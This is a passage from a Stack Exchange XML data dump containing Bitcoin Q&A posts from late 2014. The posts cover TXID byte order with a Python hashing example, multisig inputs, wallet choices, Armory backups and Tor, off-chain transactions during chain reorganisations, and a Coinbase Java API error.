LastActivityDate="2014-11-28T16:17:58.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32767" PostTypeId="2" ParentId="32765" CreationDate="2014-11-28T16:21:10.437" Score="5" Body="&lt;p&gt;TXIDs have &lt;a href=&quot;https://bitcoin.org/en/developer-reference#hash-byte-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;two forms&lt;/a&gt;; the form used internally for outpoints and merkle leaves (internal byte order), and the form used in RPC calls and block explorers (RPC byte order).  These are often called, respectivey, little-endian byte order and big-endian byte order (although those descriptions aren't quite accurate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's python code from the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#hash-byte-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org Developer Documentation&lt;/a&gt; generating both forms for the TXID for the transaction in your question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&#xA;from sys import byteorder&#xA;from hashlib import sha256&#xA;&#xA;## You can put in $data an 80-byte block header to get its header hash,&#xA;## or a raw transaction to get its txid&#xA;data = &quot;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d014dffffffff0100f2052a01000000434104e70a02f5af48a1989bf630d92523c9d14c45c75f7d1b998e962bff6ff9995fc5bdb44f1793b37495d80324acba7c8f537caaf8432b8d47987313060cc82d8a93ac00000000&quot;.decode(&quot;hex&quot;)&#xA;hash = sha256(sha256(data).digest()).digest()&#xA;&#xA;print &quot;Warning: this code only tested on a little-endian x86_64 arch&quot;&#xA;print&#xA;print &quot;System byte order:&quot;, byteorder&#xA;print &quot;Internal-Byte-Order Hash: &quot;, hash.encode('hex_codec')&#xA;print &quot;RPC-Byte-Order Hash:      &quot;, hash[::-1].encode('hex_codec')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: this code only tested on a little-endian x86_64 arch&#xA;&#xA;System byte order: little&#xA;Internal-Byte-Order Hash:  660802c98f18fd34fd16d61c63cf447568370124ac5f3be626c2e1c3c9f0052d&#xA;RPC-Byte-Order Hash:       2d05f0c9c3e1c226e63b5fac240137687544cf631cd616fd34fd188fc9020866&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The internal byte order used by the Bitcoin is in fact &lt;strong&gt;Little-Endian&lt;/strong&gt;, while the RPC byte order is &lt;strong&gt;Big-Endian&lt;/strong&gt;. For details explaining how this works refer &lt;a href=&quot;http://learnmeabitcoin.com/glossary/little-endian&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="90101" LastEditDate="2018-12-02T03:52:58.133" LastActivityDate="2018-12-02T03:52:58.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32769" PostTypeId="2" ParentId="30728" CreationDate="2014-11-28T18:09:11.397" Score="-1" Body="&lt;p&gt;Counterparty is based on the Bitcoin blockchain while NXT is not. &#xA;This site compares Colored Coins with Mastercoin with Counterparty, it might be helpful to you: &lt;a href=&quot;http://www.bitcoin2comparator.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoin2comparator.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21324" LastActivityDate="2014-11-28T18:09:11.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32770" PostTypeId="2" ParentId="29755" CreationDate="2014-11-28T18:11:53.303" Score="1" Body="&lt;p&gt;There is now this site comparing bitcoin 2.0 techno (all the ones using the bitcoin blockchain): bitcoin2comparator.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kYdzZ.png&quot; alt=&quot;Bitcoin 2.0 Protocols&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="21324" LastActivityDate="2014-11-28T18:11:53.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32771" PostTypeId="1" AcceptedAnswerId="32773" CreationDate="2014-11-28T19:55:35.807" Score="-1" ViewCount="139" Body="&lt;p&gt;I am new to bitcoin. How do I check if my blockchain is working? I have tested some free bitcoin sites but neither of them have worked.&lt;/p&gt;&#xA;" OwnerUserId="21259" LastActivityDate="2014-12-12T00:36:49.997" Title="Bitcoin 101, need some knowledge" Tags="|blockchain|address|" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-12T15:50:24.020" ContentLicense="CC BY-SA 3.0" />
  <row Id="32772" PostTypeId="1" AcceptedAnswerId="32848" CreationDate="2014-11-28T20:27:17.093" Score="4" ViewCount="4550" Body="&lt;p&gt;I was in the &lt;a href=&quot;http://coinb.in/multisig/#newTransaction&quot; rel=&quot;noreferrer&quot;&gt;http://coinb.in/multisig/#newTransaction&lt;/a&gt; and wanted to make a input but it needed 2 values.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Txid, How do I get that?&lt;/li&gt;&#xA;&lt;li&gt;TxIn/vout, Whats that and how do I get that?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21259" LastEditorUserId="2306" LastEditDate="2014-12-02T23:06:31.707" LastActivityDate="2014-12-03T05:10:03.020" Title="How do I find the txid and vout values for an input I want to spend?" Tags="|transactions|multi-signature|raw-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32773" PostTypeId="2" ParentId="32771" CreationDate="2014-11-28T22:45:05.153" Score="1" Body="&lt;p&gt;As I can understand you entered your bitcoin address to some faucets, but do not receiving nothing from it? You should check &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/&lt;/a&gt; and enter your bitcoin address in &quot;Search&quot; field. If someone sent you something, you'll definitely see transaction there.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2014-11-28T22:45:05.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32774" PostTypeId="2" ParentId="32761" CreationDate="2014-11-28T22:54:00.890" Score="1" Body="&lt;p&gt;If you want to make money on arbitrage like this, you should have reserves on both exchanges, and at the moment when you are buying in btc-e, you should sell at cryptsy (for example). Otherwise te price can change to &quot;wrong&quot; direction when you are transfering bitcoins from btc-e to cryptsy or vice versa. Also, you should understand how to withdraw/deposit fiat to this exchanges fast with minimal expences, that can be the biggest issue especially for btc-e.&lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2014-11-28T22:54:00.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32775" PostTypeId="1" CreationDate="2014-11-29T01:50:59.900" Score="1" ViewCount="834" Body="&lt;p&gt;I purchased $50 from ExpressCoins and now it's transferred to the address, but I hadn't realized that to use your program, I have to download 20 gigs of information.  Is there a way to access my coins without doing that and transfer them to the market in order to spend them?  I can't use the address at another wallet that doesn't do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A clear step-by-step would be a godsend at this point, and looking for threads and faqs to read has just confused me with more vague answers and piling on new programs and terms.  &lt;/p&gt;&#xA;" OwnerUserId="21326" LastEditorUserId="5406" LastEditDate="2022-06-04T13:45:39.283" LastActivityDate="2022-06-04T13:45:39.283" Title="How do I spend my Bitcoins without waiting for Bitcoin-Qt to sync?" Tags="|bitcoin-core|wallet|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32776" PostTypeId="2" ParentId="32775" CreationDate="2014-11-29T05:08:46.400" Score="1" Body="&lt;p&gt;You can certainly use &lt;a href=&quot;http://Blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt; or &#xA;&lt;a href=&quot;http://GreenAddress.it&quot; rel=&quot;nofollow&quot;&gt;GreenAddress.it&lt;/a&gt; to avoid running a full node. Blockchain.info has FAQs but &lt;a href=&quot;http://WeUseCoins.com&quot; rel=&quot;nofollow&quot;&gt;WeUseCoins.com&lt;/a&gt;, &lt;a href=&quot;http://bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt; or &lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;Bitcoin.org&lt;/a&gt; all have excellent FAQs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've sent your Bitcoin to the address associated with the core program (ie the software you're waiting for to download the Blockchain, aka Bitcoin-QT) it's more complicated to spend your BTC until it's synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Communities like &lt;a href=&quot;http://BitcoinTalk.org&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk.org&lt;/a&gt; and &lt;a href=&quot;http://reddit.com/r/bitcoin&quot; rel=&quot;nofollow&quot;&gt;/r/Bitcoin&lt;/a&gt; are not always helpful with these basic questions so check the FAQs and you'll have a better idea. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-11-29T05:08:46.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32778" PostTypeId="2" ParentId="32672" CreationDate="2014-11-29T06:53:51.450" Score="1" Body="&lt;p&gt;I spoke directly with Bitmain. They said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The connectors are divided into 4 groups as shown in below screenshot. Connect one of the connectors from each group to the PSU and all 4 hash boards can get power.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3f2Wk.png&quot; alt=&quot;C1 which ports to use.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty straightforward. It does indeed need a PSU with only four PCI-e connectors. Personally, I would just pick one slot, left or right, and make sure all the plugs there get a connector. If you are going to overclock the miner I do recommend using the other four connectors to give the boards the extra power they will need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding using multiple PSU's Bitmain said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sure, 2 PSU is OK, make sure the power is enough for the miner.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also straightforward. The miner uses about 800 watts, plus the fans and the pump for the cooling is maybe 50 watts more. So with this in mind, two 450 watt psu's will be enough to power the miner if you don't overclock. If you do over clock, don't cheap out. Go for a total of 1200 watts in total PSUpower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture above, the boards run horizontally under the case lid. The power to any board should be by a single PSU. So if your set up is an overclocked miner and two 650 PSU's (meaning you intend to use all eight connectors), I would make sure that the top four connectors in the picture above are all from one PSU while the bottom four are from the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that you can use multiple psu's to power the C1, a single PSU solution does not make any sense unless space and available power outlets are a major issues.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-11-29T06:53:51.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32779" PostTypeId="2" ParentId="12428" CreationDate="2014-11-29T09:23:33.480" Score="1" Body="&lt;p&gt;You derive the exchange price by simulating attempting the exchange and seeing what it cost you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say you have 1 Bitcoin and you want to get the exchange rate to USD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could look for someone willing to take that Bitcoin and see, among all such offers, who is offering the most USD. You may need to combine several offers if there are people offering to take only a fraction of a Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But is that the best you can do? Maybe, maybe not. Perhaps you could trade that Bitcoin for Euros and then use those Euros to buy USD. Perhaps the best rate is to do a little bit of both, taking advantage of the best offers on multiple exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is precisely what Ripple does using pathfinding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can think of the Ripple ledger as a giant pool of liquidity. There are balances for each account in whatever assets they hold, and order books containing offers to trade one asset for another. Pathfinding looks at this giant pool of liquidity to perform exchanges or cross-currency payments.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-11-29T09:23:33.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32780" PostTypeId="1" CreationDate="2014-11-29T12:22:46.353" Score="3" ViewCount="820" Body="&lt;p&gt;I have the paper backup for Armory Wallet but do not have access to the computer which the Wallet was created. &#xA;How to I export the BTC?&lt;/p&gt;&#xA;" OwnerUserId="21328" LastActivityDate="2015-06-27T17:14:57.787" Title="Armory paper Backup" Tags="|armory|paper-wallet|private-key-export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32781" PostTypeId="1" AcceptedAnswerId="32782" CreationDate="2014-11-29T12:51:40.087" Score="2" ViewCount="737" Body="&lt;p&gt;Many companies seem to use off chain transactions to transfer bitcoins between their own customers. What happens when a side chain gains dominance and no longer contains a block with the underlying transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain my question with an example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Customers A and B have Coinbase wallets.&lt;/li&gt;&#xA;&lt;li&gt;Customer A receives 10 bitcoins from Block 1 into his wallet.&lt;/li&gt;&#xA;&lt;li&gt;He instantly transfers 5 bitcoins to B's wallet using an &lt;em&gt;off chain&lt;/em&gt; transaction.&lt;/li&gt;&#xA;&lt;li&gt;B spends 1 bitcoin using and &lt;em&gt;on chain&lt;/em&gt; transaction and that is included in Block 2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is displayed again below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Block 1 -&amp;gt; A -&amp;gt; Off Chain -&amp;gt; B -&amp;gt; Block 2&#xA;10 BTC          5 BTC             1 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now suppose Block 1 and 2 now become invalidated due to a reorg of the blockchain and the initial 10 BTC transaction in Block 1 never makes it into a block again. However, the 1 BTC transaction from Block 2 does make it back into another block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could potentially corrupt an off chain system like Coinbase because it would end up not having the initial 10 BTC from Block 1 but customer A has still managed to give 5 BTC to customer B who has managed to send 1 BTC back to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the off chain wallet company eg Coinbase, BitPay, Circle etc will potentially lose 10 BTC because it has already been allocated within their systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do these companies resolve this issue and unravel their systems?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they detect that Block 1 no longer exists and then reverse the transaction to A and B's wallet? Or do they use other means? Maybe they just take the hit and lose the 10 BTC from their profits?&lt;/p&gt;&#xA;" OwnerUserId="6707" LastActivityDate="2014-11-29T14:01:58.070" Title="What happens to off chain transactions when the blockchain is reorganised?" Tags="|transactions|blockchain|coinbase.com|off-chain|chain-reorganization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32782" PostTypeId="2" ParentId="32781" CreationDate="2014-11-29T12:59:34.270" Score="1" Body="&lt;p&gt;You answered your own question.  Rephrasing as a statement:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[Some companies] detect that Block 1 no longer exists and then reverse the transaction to A and B's wallet.  [Other companies] take the hit and lose the 10 BTC from their profits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which solution to implement is a choice that's up to the company---neither solution is inherently better or worse.  (Reversing the transaction is better for short-term profits, but taking the hit (if you can prevent most fraud) may make your customers happy and increase long-term profits.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin payments are push-based: Alice pays Bob.  An alternative solution to this problem is requiring depositors to provide a backup payment method that is pull-based. In the event of a double-spend, this will allow Bob to charge Alice's debit card.  Although expensive, time-consuming, and not guaranteed to work, the ultimate pull-based payment method is going to court and suing the double-spender.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2014-11-29T14:01:58.070" LastActivityDate="2014-11-29T14:01:58.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32783" PostTypeId="2" ParentId="32775" CreationDate="2014-11-29T13:51:53.493" Score="2" Body="&lt;p&gt;If you use an iPhone, give &lt;a href=&quot;https://itunes.apple.com/us/app/breadwallet-bitcoin-wallet/id885251393?mt=8&quot; rel=&quot;nofollow&quot;&gt;bread wallet&lt;/a&gt; a try, the &lt;a href=&quot;http://blockchain.com/&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt; app is cool, too. On Android I'd probably use &lt;a href=&quot;https://mycelium.com/products&quot; rel=&quot;nofollow&quot;&gt;mycelium&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of those have nice and clean interfaces. Send some coins back and forth to get a feeling for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better for the network to run a full node (=use a client that downloads the whole 20Gig blockchain) but you don't necessarily need to, to send and receive BTC. All the apps I mentioned before dont require you to download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically Blockchain (the company) is an online wallet, which means they hold and secure your private keys (= the keys that allow sending money) while with bread wallet and mycelium you hold the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain = the company&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the blockchain = the public ledger of Bitcoin&lt;/p&gt;&#xA;" OwnerUserId="14883" LastEditorUserId="14883" LastEditDate="2014-11-29T13:58:31.567" LastActivityDate="2014-11-29T13:58:31.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32784" PostTypeId="2" ParentId="32780" CreationDate="2014-11-29T14:05:30.673" Score="3" Body="&lt;p&gt;You can just import the backup on another computer with armory installed. It's not dependent on the computer it was created on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember: The coins don't actually reside on your computer - The public ledger called &quot;blockchain&quot; holds the amount you own. You rather hold the private key in your wallet app, that allows you to sign transactions and thus send money.&lt;/p&gt;&#xA;" OwnerUserId="14883" LastActivityDate="2014-11-29T14:05:30.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32785" PostTypeId="2" ParentId="30051" CreationDate="2014-11-29T15:44:34.797" Score="-1" Body="&lt;p&gt;Yes, confirmed - copy to &lt;code&gt;C:\%userprofile%\Appdata\Bitcoin\&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relaunch the Bitcoin client. In bottom left, it will say &quot;importing blocks from disk...&quot;&lt;/p&gt;&#xA;" OwnerUserId="21329" LastEditorUserId="2306" LastEditDate="2014-11-29T17:37:30.400" LastActivityDate="2014-11-29T17:37:30.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32787" PostTypeId="1" AcceptedAnswerId="32816" CreationDate="2014-11-30T00:52:43.213" Score="3" ViewCount="1446" Body="&lt;p&gt;After generating a 2-out-of-3 wallet (using brainwallet &lt;a href=&quot;http://ms-brainwallet.org/#generator&quot; rel=&quot;nofollow&quot;&gt;http://ms-brainwallet.org/#generator&lt;/a&gt;) I am able to store my private/public keys for each of the participants. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards I send a small amount of BTC to this address (0.0002). The amount is correctly recorded and confirmed in the blockchain and is listed as an unspent transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards I create a new transaction that spends (0.0001 BTC). This transaction is successful. On the third step I sent more funds to the 2-out-of-3 wallet (0.0003). This is where the issue happens: any funds I deposit in this wallet from second transaction on are automatically spent towards various unknown addresses, and there is never any unspent transactions no matter how much I deposit there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this with several wallets already. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am thinking of is that there is a change problem. I found &lt;a href=&quot;http://bitzuma.com/posts/five-ways-to-lose-money-with-bitcoin-change-addresses/&quot; rel=&quot;nofollow&quot;&gt;some ways that funds can 'evaporate'&lt;/a&gt; but I haven't been able to nail the issue completely. Any inputs would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21332" LastEditorUserId="5406" LastEditDate="2014-12-19T13:01:40.537" LastActivityDate="2014-12-19T13:01:40.537" Title="Unspent outputs get spent automatically" Tags="|multi-signature|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32789" PostTypeId="2" ParentId="32558" CreationDate="2014-11-30T07:34:30.847" Score="2" Body="&lt;p&gt;It may be possible to retrieve raw OHLC and VWAP data from bitcoincharts.com in a not-too-difficult manner using JavaScript (as well as jQuery) by extracting the relevant tabular data provided at &lt;a href=&quot;http://bitcoincharts.com/charts/krakenEUR#rg60ztgSzm1g10zm2g25zv&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoincharts.com/charts/krakenEUR#rg60ztgSzm1g10zm2g25zv&lt;/a&gt; and passing it to an external charting application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, extracting HTML data from an external website using JavaScript can sometimes be a complicated process, due to the presence of content security and &lt;a href=&quot;http://en.wikipedia.org/wiki/Same-origin_policy&quot; rel=&quot;nofollow noreferrer&quot;&gt;same origin policies&lt;/a&gt; (these issues apply particularly to Google Chrome).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following question on StackOverflow explores an easy way to retrieve external HTML using jQuery and AJAX (&lt;a href=&quot;https://stackoverflow.com/questions/15005500/loading-cross-domain-html-page-with-jquery-ajax&quot;&gt;https://stackoverflow.com/questions/15005500/loading-cross-domain-html-page-with-jquery-ajax&lt;/a&gt;).&#xA;A simple solution using the aforementioned method could be similar to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajaxSetup({&#xA;    scriptCharset: &quot;utf-8&quot;, //maybe &quot;ISO-8859-1&quot;&#xA;    contentType: &quot;application/json; charset=utf-8&quot;&#xA;});&#xA;&#xA;$.getJSON('http://whateverorigin.org/get?url=' + &#xA;  encodeURIComponent('http://bitcoincharts.com/charts/krakenEUR#rg60ztgSzm1g10zm2g25zv') + '&amp;amp;callback=?',&#xA;    function(data) {&#xA;        console.log(&quot;&amp;gt; &quot;, data);&#xA;        $(&quot;#chart_table&quot; tbody tr).find(&quot;td&quot;).html(data.contents);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, this method of extracting data from an API or website would depend on what language you are using, and whether you are implementing a back-end. Perhaps placing a similar question on &lt;a href=&quot;https://stackoverflow.com/&quot;&gt;StackOverflow&lt;/a&gt;, a site dedicated to programming questions would return better suited results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; More information regarding bypassing same origin policies can be found at &lt;a href=&quot;http://christianheilmann.com/2010/01/10/loading-external-content-with-ajax-using-jquery-and-yql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Christian Heilmann's blog&lt;/a&gt;, a developer evangelist with the Mozilla Network.&#xA;Information regarding utilising GET and POST requests can be found at &lt;a href=&quot;http://www.slideshare.net/DonchoMinkov/external-data-access-with-jquery&quot; rel=&quot;nofollow noreferrer&quot;&gt;Doncho Minkov's SlideShare&lt;/a&gt;, however, this may not be the most effective way to access data when restricted by same origin policies.&lt;/p&gt;&#xA;" OwnerUserId="20776" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-12-01T10:45:58.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32790" PostTypeId="1" CreationDate="2014-11-30T09:58:40.657" Score="0" ViewCount="331" Body="&lt;p&gt;I've simply downloaded an API &lt;code&gt;.jar&lt;/code&gt; file of a &lt;code&gt;Coinbase&lt;/code&gt;. I've created a project &lt;code&gt;dynamic web project&lt;/code&gt;. I added successfully into a reference library that API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my simple program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import com.coinbase.api.Coinbase;&#xA;import com.coinbase.api.CoinbaseBuilder;&#xA;&#xA;public class Main {&#xA;    public static void main(String[] args){&#xA;&#xA;        try {&#xA;&#xA;            Coinbase cb=new CoinbaseBuilder()&#xA;            .withApiKey(System.getenv(&quot;My API KEY&quot;), System.getenv(&quot;MY API SECRET&quot;))&#xA;            .build();&#xA;        } catch (Exception e) {&#xA;            e.printStackTrace();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As i run this program, it says: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exception in thread &quot;main&quot; java.lang.NoClassDefFoundError: com/fasterxml/jackson/core/type/TypeReference&#xA;    at com.coinbase.api.CoinbaseBuilder.build(CoinbaseBuilder.java:16)&#xA;    at Main.main(Main.java:11)&#xA;Caused by: java.lang.ClassNotFoundException: com.fasterxml.jackson.core.type.TypeReference&#xA;    at java.net.URLClassLoader$1.run(Unknown Source)&#xA;    at java.net.URLClassLoader$1.run(Unknown Source)&#xA;    at java.security.AccessController.doPrivileged(Native Method)&#xA;    at java.net.URLClassLoader.findClass(Unknown Source)&#xA;    at java.lang.ClassLoader.loadClass(Unknown Source)&#xA;    at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)&#xA;    at java.lang.ClassLoader.loadClass(Unknown Source)&#xA;    ... 2 more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I need to put something here? I'm did checked thrice, My API key is correct!&lt;/p&gt;&#xA;" OwnerUserId="21336" LastEditorUserId="2306" LastEditDate="2014-11-30T15:48:28.937" LastActivityDate="2014-12-01T21:37:24.440" Title="NoClassDefFoundError when using Java Coinbase API" Tags="|bitcoind|coinbase.com|java|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32794" PostTypeId="2" ParentId="30337" CreationDate="2014-11-30T15:17:03.327" Score="0" Body="&lt;p&gt;Perhaps use a Raspberry Pi. Never connect it to the net and use either the standard Raspbian OS or there is a bitcoin-centric one (I forget the name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm not sure why you single out Ubuntu..  I assume you mean Linux rather than Ubuntu specifically..  I my personal opinion Ubuntu is too commercial  - if you're really paranoid and really trying to keep your keys secure then use a &quot;proper&quot; 100% open-source non-commercial Linux OS such as Debian.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-30T15:17:03.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32795" PostTypeId="1" AcceptedAnswerId="32796" CreationDate="2014-11-30T15:31:01.317" Score="3" ViewCount="783" Body="&lt;p&gt;What's the purpose of running Armory through Tor?  Is it only useful once you get to the point where you start sending Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="21301" LastEditorUserId="2306" LastEditDate="2014-11-30T15:45:02.473" LastActivityDate="2015-03-20T11:11:53.440" Title="What's the purpose of running Armory through Tor?" Tags="|armory|tor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32796" PostTypeId="2" ParentId="32795" CreationDate="2014-11-30T15:53:22.213" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Armory (in online mode) uses a full node.  Full nodes relay transactions for other programs on the Bitcoin network, so by running Armory on Tor, you help other people send their transactions with possibly-improved privacy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sending your own transactions through Tor with Armory can help prevent anyone from associating your IP address with your transaction, possibly improving your privacy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: Tor and Armory must both be used properly to achieve improved privacy.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-30T15:53:22.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32797" PostTypeId="1" CreationDate="2014-11-30T16:11:10.590" Score="3" ViewCount="128" Body="&lt;p&gt;A bitcoin exchange is using a shared web wallet where its users deposits and withdraw bitcoins. The withdrawal transactions are merged, so that the pending transactions of several users are grouped together to save tx fees. The shared wallet is backed by a normal &lt;code&gt;bitcoind&lt;/code&gt; installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine we want to confirm that particular address X belongs to the shared wallet. The address X has received Bitcoins and then some of those Bitcoins have been withdrew through other unrelated transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because we are the users of the same shared web wallet, we can send in and out Bitcoins from this shared wallet and we gain knowledge of some receiving and change addresses and transactions related to the shared wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, is it possible to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To prove address X belongs to the shared wallet by analyzing the other transactions we know to belong to this shared wallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any tools or scripts to do this kind of blockchain analysis yet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-11-30T16:11:10.590" Title="Proving the address belongs to a shared wallet where one can control some deposits and withdrawals" Tags="|wallet|bitcoind|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
